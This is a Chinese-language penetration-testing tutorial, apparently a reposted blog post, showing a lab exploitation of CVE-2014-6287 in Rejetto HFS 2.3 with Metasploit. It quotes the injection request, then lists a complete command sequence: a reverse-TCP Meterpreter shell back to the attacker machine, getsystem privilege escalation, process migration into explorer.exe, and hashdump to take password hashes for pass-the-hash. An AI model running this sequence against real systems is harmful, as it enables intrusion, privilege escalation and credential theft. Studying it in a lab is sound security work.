1. 程式人生 > >滲透之——Metasploit攻擊HFS 2.3上的漏洞

滲透之——Metasploit攻擊HFS 2.3上的漏洞

轉載請註明出處:https://blog.csdn.net/l1028386804/article/details/86358284

攻擊機: kali 192.168.109.137

靶機: windows server 2012 192.168.109.141

工具:Metasploit

根據CVE-2014-6287的描述,Rejetto網路檔案伺服器(也被稱為HSF或者HttpFileServer)的2.3x版本(2.3c以前的版本)中的parserLib.pas檔案使用了一個findMacroMaker函式,該漏洞源於parserLib.pas檔案沒有正確處理空位元組。遠端攻擊者可藉助搜尋操作中的%00序列利用該漏洞執行任意程式。

下面給出了這個有漏洞的函式:

function findMacroMarker(s:string; ofs:integer=1):integer;

begin result:=reMatch(s, '\{[.:]|[.:]\}|\|', 'm!', ofs) end;

這個函式不能正確的處理空位元組,所以當我們對http://localhost:80/search=%00{.exec|cmd.}發起請求時,就會停止對巨集的正則解析,從而導致遠端程式碼的注入。

1.開啟MSF

msfconsole

2.滲透漏洞

search hfs
use exploit/windows/http/rejetto_hfs_exec
show options
set RHOST 192.168.109.141
set RPORT 8080
show payloads
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.109.137
set LPORT 4444
show options
exploit

此時,我們已經以管理員的身份獲得了Windows server 2012系統的許可權。

3.將許可權提升為系統級

getsystem

4.檢視系統程序和Meterpreter正在駐留的程序號

ps
getpid

5.繫結Meterpreter到其他程序

這裡,為了保險起見,我們將Meterpreter的程序繫結到explorer.exe的程序號,這裡,explorer.exe的程序號為1864,執行如下命令:

migrate 1864

此時,我們再次輸入getpid命令檢視,Meterpreter正在駐留的程序號變成了1864

6.收集系統密碼的雜湊值

hashdump

完成了雜湊值的收集之後,就可以執行pass-the-hash攻擊,在沒有明文密碼的情況下繞過限制。